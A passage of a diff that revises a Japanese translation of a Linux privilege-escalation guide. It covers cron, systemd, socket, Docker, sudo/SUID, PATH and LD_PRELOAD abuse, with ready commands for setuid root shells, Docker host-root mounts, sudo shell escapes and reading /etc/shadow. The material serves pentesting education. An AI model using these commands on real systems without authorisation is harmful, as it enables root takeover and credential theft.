log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -378,29 +401,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -If you **can modify a cron script** executed by root, you can get a shell very easily: +もし **root によって実行される cron script を変更できる**なら、簡単に shell を取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root によって実行される script が **あなたが完全にアクセスできる directory** を使用している場合、その folder を削除して、あなたが制御する script を提供する **別のものへの symlink folder を作成する** と有効かもしれません。 +rootが実行するscriptがあなたが完全にアクセスできる**ディレクトリ**を使用している場合、そのフォルダを削除して、あなたが管理するscriptを置いた別のディレクトリを指す**symlinkフォルダを作成する**ことが有用かもしれない。 ```bash ln -d -s ``` -### 頻繁な cron jobs +### 頻繁な cron ジョブ -1分、2分、5分ごとに実行されているプロセスを探すためにプロセスを監視できます。場合によってはそれを利用して escalate privileges できるかもしれません。 +プロセスを監視して、1分、2分、5分ごとに実行されているプロセスを探せます。うまく利用すれば権限昇格につながるかもしれません。 -例えば、**1分間、0.1秒ごとに監視**し、**実行頻度の少ないコマンドでソート**し、最も多く実行されたコマンドを削除するには、次のようにします: +例えば、**0.1秒ごとに1分間監視**し、**実行回数の少ないコマンドでソート**して最も多く実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**また使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(これにより開始されるすべてのプロセスが監視され一覧表示されます)。 +**次のものも使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(これは開始されるすべてのプロセスを監視して一覧表示します)。 -### 見えない cron jobs +### 見えない cron ジョブ -コメントの後に**キャリッジリターンを入れる**(改行文字を含めず)ことで cronjob を作成でき、cron job は動作します。例(キャリッジリターン文字に注意): +コメントの後に**キャリッジリターンを入れる**(改行文字を含めない)ことで cron ジョブを作成でき、cron ジョブは動作します。例(キャリッジリターン文字に注意): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -408,51 +431,49 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -書き込み可能な `.service` ファイルがあるか確認してください。もし書き込めるなら、それを変更してサービスが開始、再起動、停止されたときにあなたの backdoor を実行させることができます(マシンの再起動を待つ必要があるかもしれません)。\ -例えば .service ファイル内に backdoor を作り、**`ExecStart=/tmp/script.sh`** のようにします。 +任意の `.service` ファイルに書き込みできるか確認してください。書き込み可能であれば、**それを変更して**サービスが**起動**、**再起動**、**停止**したときにあなたの**backdoor**を**実行**させることができます(場合によってはマシンの再起動を待つ必要があります)。\ +例えば `.service` ファイル内にあなたの backdoor を作成し、**`ExecStart=/tmp/script.sh`** -### 書き込み可能な service バイナリ +### 書き込み可能なサービスのバイナリ -覚えておいてください、**サービスによって実行されるバイナリに対する書き込み権限** を持っている場合、それらを backdoors に差し替えることができ、サービスが再実行されると backdoors が実行されます。 +サービスによって実行されるバイナリに対して**書き込み権限**を持っている場合、それらを改変して backdoor を埋め込むことができ、サービスが再実行されると backdoor が実行されます。 -### systemd PATH - 相対パス +### systemd PATH - Relative Paths -**systemd** が使用する PATH は次のコマンドで確認できます: +次のコマンドで **systemd** が使用する PATH を確認できます: ```bash systemctl show-environment ``` -パス内のいずれかのフォルダに**書き込み**ができることを確認した場合、**escalate privileges**できる可能性があります。サービスの設定ファイルで**相対パスが使用されている**箇所を探す必要があります。例えば: +パス内の任意のフォルダに**write**できることが分かった場合、**escalate privileges**できる可能性があります。次のようなファイルで、**relative paths being used on service configurations**が使用されているかを検索する必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -それから、書き込み可能な systemd の PATH フォルダ内に、相対パスのバイナリと同じ名前の **executable** を作成します。サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を実行するよう要求されると、あなたの **backdoor** が実行されます(特権のないユーザーは通常サービスの start/stop を実行できませんが、`sudo -l` が使えるか確認してください)。 +次に、書き込み可能な systemd の PATH フォルダ内に、相対パスのバイナリと同じ名前の**実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**, **Stop**, **Reload**)を実行するよう要求されると、あなたの**backdoorが実行されます**(通常、権限のないユーザーはサービスを開始/停止できませんが、`sudo -l` が使えるか確認してください)。 **サービスについては `man systemd.service` を参照してください。** -## **Timers** +## **タイマー** -**Timers** は名前が `**.timer**` で終わる systemd の unit ファイルで、`**.service**` ファイルやイベントを制御します。**Timers** はカレンダー時間イベントや単調時間イベントをネイティブにサポートしており、非同期で実行できるため、cron の代替として利用できます。 +**タイマー**は、名前が`**.timer**`で終わる systemd ユニットファイルで、`**.service**`ファイルやイベントを制御します。**タイマー**はカレンダー時間イベントや単調時間イベントをネイティブにサポートしており、非同期で実行できるため、cron の代替として使用できます。 -すべてのタイマーは次のコマンドで列挙できます: +すべてのタイマーは次のコマンドで列挙できます: ```bash systemctl list-timers --all ``` ### 書き込み可能なタイマー -もしタイマーを変更できれば、systemd.unit の既存のユニット(例えば `.service` や `.target`)を実行させることができます。 +タイマーを変更できる場合、systemd.unit に存在するユニット(例: `.service` や `.target`)を実行させることができます。 ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +> 単位が経過したときにアクティブ化されるユニット。引数は、サフィックスが ".timer" ではないユニット名です。指定されない場合、この値はタイマー ユニットと同じ名前でサフィックスだけ異なるサービスにデフォルトで設定されます。(上記参照。)アクティブ化されるユニット名とタイマー ユニットのユニット名は、サフィックス以外は同一名にすることが推奨されます。 -> このタイマーが満了したときに起動されるユニット。引数はサフィックスが ".timer" ではないユニット名です。指定しない場合、この値はタイマーユニットと同じ名前(サフィックスを除く)を持つ service にデフォルトされます(上記参照)。起動されるユニット名とタイマーユニットのユニット名は、サフィックスを除いて同一にすることが推奨されます。 +したがって、この権限を悪用するには次のことが必要です: -Therefore, to abuse this permission you would need to: - -- 書き込み可能なバイナリを**実行している** systemd ユニット(例: `.service`)を見つける -- **相対パスを実行している** systemd ユニットを見つけ、かつその実行ファイルを偽装するために **systemd PATH** に対して**書き込み権限**を持っている(その実行ファイルを偽装するため) +- Find some systemd unit (like a `.service`) that is **書き込み可能なバイナリを実行している** +- Find some systemd unit that is **相対パスを実行している** and you have **書き込み権限** over the **systemd PATH** (to impersonate that executable) **Learn more about timers with `man systemd.timer`.** @@ -465,30 +486,30 @@ Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /li ``` Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` -## Sockets +## ソケット -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unixドメインソケット (UDS) は、クライアント-サーバモデル内で同一または異なるマシン間の**プロセス間通信**を可能にします。これらは標準のUnixディスクリプタファイルを利用してコンピュータ間通信を行い、`.socket` ファイルを通じて設定されます。 Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Learn more about sockets with `man systemd.socket`.** このファイル内では、いくつか興味深いパラメータを設定できます: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、要約するとソケットがどこでリッスンするか(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)を**示します**。 +- `Accept`: ブール引数を取ります。**true** の場合、**着信ごとにサービスインスタンスが生成され**、接続ソケットのみがそのインスタンスに渡されます。**false** の場合、すべてのリッスンソケット自体が**起動された service ユニットに渡され**、すべての接続に対して単一のサービスユニットのみが生成されます。この値はデータグラムソケットやFIFOでは無視され、単一のサービスユニットがすべての着信トラフィックを一括して処理します。**Defaults to false**。パフォーマンス上の理由から、新しいデーモンは `Accept=no` に適した方法でのみ作成することが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: 1つ以上のコマンドラインを取り、リッスンする**ソケット**/FIFO がそれぞれ**作成されバインドされる前**または**後**に**実行されます**。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFO がそれぞれ**閉じられ削除される前**または**後**に**実行される**追加の**コマンド**です。 +- `Service`: **着信トラフィック**時に**有効化する**`service` ユニット名を指定します。この設定は Accept=no のソケットでのみ許可されます。デフォルトはソケットと同名のサービス(サフィックスを置き換えたもの)になります。ほとんどの場合、このオプションを使う必要はありません。 -### Writable .socket files +### 書き込み可能な .socket ファイル -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +もし **書き込み可能な** `.socket` ファイルを見つけたら、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のような行を**追加**できます。そうすると、その backdoor はソケットが作成される前に実行されます。したがって、**おそらくマシンの再起動を待つ必要があるでしょう。**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Writable sockets +### 書き込み可能なソケット -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +もし **書き込み可能なソケットを特定**できたら(ここで言っているのは設定ファイルの `.socket` ではなくUnixソケット自体のことです)、そのソケットと**通信**でき、脆弱性を突ける可能性があります。 -### Enumerate Unix Sockets +### Unixソケットの列挙 ```bash netstat -a -p --unix ``` @@ -510,26 +531,28 @@ socket-command-injection.md ### HTTP sockets -一部には **sockets listening for HTTP** requests が存在する場合があることに注意してください(_ここで言っているのは .socket files ではなく unix sockets として動作しているファイルのことです_)。次のコマンドで確認できます: +注意: **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_)。次のコマンドで確認できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +もし socket が **HTTP リクエストに応答する** なら、それと **通信** でき、場合によっては **脆弱性を exploit する** こともあります。 -### 書き込み可能な Docker Socket +### 書き込み可能な Docker socket -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. +Docker socket は通常 `/var/run/docker.sock` にあります。これは保護すべき重要なファイルです。デフォルトでは `root` ユーザーと `docker` グループのメンバーに対して書き込み可能になっています。この socket への書き込み権を持つと privilege escalation に繋がる可能性があります。以下はこれを行う方法の内訳と、Docker CLI が利用できない場合の代替手段です。 -#### **Privilege Escalation with Docker CLI** +#### **Docker CLI を使った Privilege Escalation** + +もし Docker socket への書き込みアクセス権がある場合、以下のコマンドで privilege escalation が可能です: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -これらのコマンドは、ホストのファイルシステムに対して root 権限でアクセスできるコンテナを実行することを可能にします。 +これらのコマンドは、ホストのファイルシステムに対する root 権限でコンテナを実行することを可能にします。 -#### **Docker API を直接使用する** +#### **Docker API を直接利用する方法** -Docker CLI が利用できない場合でも、Docker API と `curl` コマンドを使用して Docker ソケットを操作できます。 +Docker CLI が利用できない場合でも、Docker ソケットは Docker API と `curl` コマンドを使って操作できます。 1. **List Docker Images:** 利用可能なイメージの一覧を取得します。 @@ -537,19 +560,19 @@ Docker CLI が利用できない場合でも、Docker API と `curl` コマン curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 +2. **Create a Container:** ホストのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -新しく作成したコンテナを起動します: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` を使用してコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 +3. **Attach to the Container:** `socat` を使ってコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,31 +582,31 @@ Connection: Upgrade Upgrade: tcp ``` -socat 接続を設定した後、コンテナ内でホストのファイルシステムに対する root 権限で直接コマンドを実行できます。 +`socat` 接続を設定すると、ホストのファイルシステムに対する root 権限でコンテナ内から直接コマンドを実行できます。 ### その他 -注意: docker ソケットに対して書き込み権限を持っている(**inside the group `docker`** のメンバーである)場合、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) が利用可能です。さらに、[**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) の場合は、それを悪用して侵害できる可能性もあります。 +docker ソケットに対する書き込み権限がある(**グループ `docker` の一員である**)場合は、[**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) があります。もし [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) なら、それを悪用して侵害できる可能性もあります。 -以下で、docker からの脱出や特権昇格のための悪用方法の詳細を確認してください: +docker からの脱出や権限昇格のための悪用方法の詳細は、次を確認してください: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) の権限昇格 -もし **`ctr`** コマンドを使用できる場合は、次のページを参照してください — **you may be able to abuse it to escalate privileges**: +`ctr` コマンドを使用できる場合、次のページを確認してください。**権限昇格に悪用できる可能性があります**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** の権限昇格 -もし **`runc`** コマンドを使用できる場合は、次のページを参照してください — **you may be able to abuse it to escalate privileges**: +`runc` コマンドを使用できる場合、次のページを確認してください。**権限昇格に悪用できる可能性があります**: {{#ref}} @@ -592,15 +615,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus は高度な **インター・プロセス通信(IPC)システム** であり、アプリケーションが効率的に相互作用してデータを共有できるようにします。モダンな Linux システムを念頭に設計されており、さまざまな形態のアプリケーション間通信に対して堅牢なフレームワークを提供します。 +D-Bus は高度な **inter-Process Communication (IPC) system** で、アプリケーションが効率的に相互作用しデータを共有することを可能にします。モダンな Linux システムを念頭に設計されており、さまざまな形式のアプリケーション間通信のための堅牢なフレームワークを提供します。 -このシステムは多用途であり、プロセス間のデータ交換を強化する基本的な IPC をサポートし、**enhanced UNIX domain sockets** を想起させます。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。例えば、着信通話に関する Bluetooth デーモンからのシグナルが音楽プレーヤーにミュートを促すことでユーザー体験が向上する、といったことが可能です。加えて、D-Bus はリモートオブジェクトシステムをサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑であったプロセスを効率化します。 +このシステムは多用途で、プロセス間のデータ交換を強化する基本的な IPC をサポートし、これは **強化された UNIX ドメインソケット** を彷彿とさせます。さらに、イベントやシグナルのブロードキャストを支援し、システムコンポーネント間のシームレスな統合を促進します。例えば、Bluetooth デーモンからの着信通知のシグナルが音楽プレーヤーにミュートを促すことでユーザー体験が向上します。加えて、D-Bus はリモートオブジェクトシステムもサポートしており、アプリケーション間のサービス要求やメソッド呼び出しを簡素化し、従来は複雑だった処理を効率化します。 -D-Bus は **allow/deny model** に基づいて動作しており、ポリシー規則の照合結果の累積効果に基づいてメッセージの許可(メソッド呼び出し、シグナルの送出など)を管理します。これらのポリシーはバスとのインタラクションを定義しており、これらの権限を悪用することで privilege escalation が発生する可能性があります。 +D-Bus は **allow/deny model** に基づいて動作し、ポリシールールの総合的なマッチング結果に基づいてメッセージの権限(メソッド呼び出し、シグナル送出など)を管理します。これらのポリシーは bus とのやり取りを指定し、これらの権限を利用することで権限昇格が発生する可能性があります。 -そのようなポリシーの例が `/etc/dbus-1/system.d/wpa_supplicant.conf` に示されており、root ユーザーが `fi.w1.wpa_supplicant1` を所有し、送信し、受信する権限が詳細に記述されています。 +そのようなポリシーの例が /etc/dbus-1/system.d/wpa_supplicant.conf にあり、root ユーザーが `fi.w1.wpa_supplicant1` を所有し、それに対してメッセージを送受信する権限を持つことが詳細に示されています。 -ユーザーやグループが指定されていないポリシーは普遍的に適用され、一方で "default" コンテキストのポリシーは他の特定のポリシーでカバーされないすべてに適用されます。 +ユーザーやグループが指定されていないポリシーは全体に適用され、「default」コンテキストのポリシーは他の特定のポリシーでカバーされていないすべてに適用されます。 ```xml @@ -609,7 +632,7 @@ D-Bus は **allow/deny model** に基づいて動作しており、ポリシー ``` -**ここで D-Bus communication を enumerate して exploit する方法を学べます:** +**ここで D-Bus の通信を enumerate および exploit する方法を学ぶ:** {{#ref}} @@ -618,9 +641,9 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **ネットワーク** -ネットワークをenumerateしてマシンの位置を特定するのは常に興味深い。 +ネットワークを enumerate して、マシンの位置を特定するのは常に興味深い。 -### 一般的な enumeration +### 汎用 enumeration ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -645,14 +668,14 @@ lsof -i ``` ### 開いているポート -アクセスする前に確認できなかったマシン上で動作しているネットワークサービスは必ず確認してください: +アクセス前に検出できなかったマシン上で稼働しているネットワークサービスも必ず確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -sniff traffic ができるか確認してください。できれば、いくつかの credentials を入手できるかもしれません。 +sniff traffic が可能か確認してください。可能であれば、認証情報を取得できるかもしれません。 ``` timeout 1 tcpdump ``` @@ -660,7 +683,7 @@ timeout 1 tcpdump ### 一般的な列挙 -自分が**誰**であるか、どの**権限**を持っているか、システム内にどの**ユーザー**がいるか、どのユーザーが**login**できるか、そしてどのユーザーが**root privileges**を持っているかを確認してください: +自分が**who**であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのアカウントが**login**できるか、どのアカウントが**root privileges**を持っているかを確認する: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -684,12 +707,12 @@ gpg --list-keys 2>/dev/null ``` ### 大きな UID -一部の Linux バージョンは、**UID > INT_MAX** のユーザーが権限を昇格できるバグの影響を受けていました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) および [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**悪用するには:** **`systemd-run -t /bin/bash`** +一部の Linux バージョンは、**UID > INT_MAX** のユーザーが権限昇格できるバグの影響を受けていました。詳細: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**Exploit it** using: **`systemd-run -t /bin/bash`** ### グループ -root 権限を付与する可能性のある**グループのメンバー**でないか確認してください: +あなたが root privileges を得られる可能性のある **グループのメンバー** かどうか確認してください: {{#ref}} @@ -698,7 +721,7 @@ interesting-groups-linux-pe/ ### クリップボード -可能であれば、クリップボード内に興味深いものがないか確認してください +可能であれば、クリップボード内に興味深いものが含まれていないか確認してください ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -715,27 +738,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### 既知のパスワード -環境の**任意のパスワードを知っている場合は**、そのパスワードを使って**各ユーザーにログインしてみてください**。 +環境のパスワードを**1つでも知っている**場合は、そのパスワードを使って**各ユーザにログインを試みてください**。 ### Su Brute -大量のノイズを出しても構わない場合、かつ`su`や`timeout`バイナリがコンピュータに存在する場合は、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使ってユーザーを総当たりすることができます。\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)は`-a`パラメータでユーザーの総当たりも試みます。 +多くのノイズを出すことを気にしない場合、かつ `su` と `timeout` バイナリがコンピュータに存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce) を使ってユーザに対してブルートフォースを試すことができます。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) は `-a` パラメータでユーザに対するブルートフォースも試みます。 ## 書き込み可能な $PATH の悪用 ### $PATH -$PATH の任意のフォルダに**書き込みできることが分かった場合**、書き込み可能なフォルダ内に別ユーザー(理想的には root)が実行するであろうコマンド名で**backdoor を作成することで権限を昇格できる可能性があります**。ただし、そのコマンドが$PATH中で**あなたの書き込み可能フォルダより前に位置するフォルダから読み込まれない**ことが条件です。 +もし **$PATH のいずれかのフォルダに書き込みできる**ことが分かったら、書き込み可能なフォルダ内に別ユーザ(理想的には root)が実行するコマンド名で**バックドアを作成**することで権限を昇格できる可能性があります。そのコマンドが $PATH 内であなたの書き込みフォルダより前にあるフォルダから**読み込まれない**ことが条件です。 ### SUDO and SUID -sudo を使っていくつかのコマンドを実行できる権限があるか、またはファイルに suid ビットが設定されている可能性があります。次のコマンドで確認してください: +sudo を使って実行できるコマンドがあるか、またはファイルに suid ビットが設定されている可能性があります。次のコマンドで確認してください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一部の **予期しないコマンドはファイルの読み取りや書き込み、さらにはコマンドの実行を可能にします。** 例えば: +いくつかの**予期しないコマンドは、ファイルを読み取り・書き込みしたり、コマンドを実行したりすることがあります。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -746,31 +769,31 @@ less>! ``` ### NOPASSWD -Sudo の設定により、ユーザーはパスワードを知らなくても別のユーザーの権限でコマンドを実行できる可能性があります。 +Sudo の設定によって、ユーザーがパスワードを知らなくても別のユーザーの権限でコマンドを実行できる場合がある。 ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -この例では、ユーザー `demo` が `root` として `vim` を実行できます。root ディレクトリに ssh キーを追加するか、`sh` を呼び出すことでシェルを取得するのは容易です。 +この例では、ユーザー `demo` が `root` として `vim` を実行できます。root ディレクトリに ssh key を追加するか、`sh` を呼び出すことで、簡単に shell を取得できます。 ``` sudo vim -c '!sh' ``` ### SETENV -このディレクティブは、ユーザーが実行時に **環境変数を設定する** ことを可能にします: +このディレクティブは、何かを実行する際にユーザーが **set an environment variable** できるようにします: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -この例は、**HTB machine Admirer** に基づいており、スクリプトを root として実行する際に任意の python ライブラリを読み込むために **PYTHONPATH hijacking** に**脆弱**でした: +この例は、**based on HTB machine Admirer** を基にしており、スクリプトを root として実行する際に任意の python ライブラリを読み込むための **PYTHONPATH hijacking** に **vulnerable** でした: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo 実行でパスをバイパスする +### Sudo 実行時のパス回避 -**Jump** で他のファイルを読むか、**symlinks** を使う。例えば sudoers ファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Jump** を使って他のファイルを読んだり、**symlinks** を使ったりします。例えば sudoers file では: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -780,50 +803,50 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` -もし**wildcard**が使用されている (\*), さらに簡単です: +もし **wildcard** が使われている(\*)と、さらに簡単です: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` **対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary (コマンドのパス指定なし) +### Sudo command/SUID binary (コマンドパスが指定されていない場合) -If the **sudo の権限** が単一のコマンドに対して **パスを指定せずに** 与えられている場合: _hacker10 ALL= (root) less_ PATH変数を変更することでこれを悪用できます。 +If the **sudo permission** is given to a single command **パスを指定せずに**: _hacker10 ALL= (root) less_、PATH変数を変更することでこれを悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -この手法は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合(不審な SUID バイナリの内容は必ず _**strings**_ で確認してください)** にも使用できます。 +この手法は**suid** バイナリ **が別のコマンドをパスを指定せずに実行する場合(常に_**strings**_で奇妙な SUID バイナリの内容を確認してください)**にも使用できます。 [Payload examples to execute.](payloads-to-execute.md) -### SUID バイナリ(コマンドのパス指定あり) +### SUID バイナリ(コマンドのパスが指定されている場合) -もし **suid** バイナリが **パスを指定して別のコマンドを実行している** 場合、suid ファイルが呼び出すコマンド名と同じ名前の関数を作成して **関数をexportする** ことを試すことができます。 +もし**suid** バイナリが**コマンドのパスを指定して別のコマンドを実行する場合**、suidファイルが呼び出しているコマンド名と同じ名前の関数を**export**してみてください。 -例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成して export してみてください: +例えば、もし**suid** バイナリが _**/usr/sbin/service apache2 start**_ を呼び出しているなら、そのコマンド名と同じ名前の関数を作成して**export**してみてください: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -その後、suid binary を呼び出すと、この関数が実行されます。 +Then, when you call the suid binary, this function will be executed ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 環境変数は、ローダーが標準 C ライブラリ (`libc.so`) を含む他のすべてのライブラリより前に読み込む、1つまたは複数の共有ライブラリ(.so ファイル)を指定するために使用されます。この操作はライブラリのプリロードとして知られています。 +The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. -ただし、システムのセキュリティを維持し、特に **suid/sgid** 実行ファイルでこの機能が悪用されるのを防ぐために、システムはいくつかの条件を強制します: +However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: -- 実行ファイルの real user ID (_ruid_) が effective user ID (_euid_) と一致しない場合、ローダーは **LD_PRELOAD** を無視します。 -- suid/sgid を持つ実行ファイルについては、標準パスにありかつ同様に suid/sgid であるライブラリのみがプリロードされます。 +- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). +- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. -Privilege escalation は、`sudo` でコマンドを実行する権限があり、かつ `sudo -l` の出力に **env_keep+=LD_PRELOAD** が含まれている場合に発生する可能性があります。この設定により、`sudo` でコマンドを実行しても **LD_PRELOAD** 環境変数が保持され認識されるようになり、結果として特権を昇格した状態で任意のコードが実行される可能性があります。 +Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. ``` Defaults env_keep += LD_PRELOAD ``` -**/tmp/pe.c** として保存 +次のファイル名で保存: **/tmp/pe.c** ```c #include #include @@ -836,17 +859,17 @@ setuid(0); system("/bin/bash"); } ``` 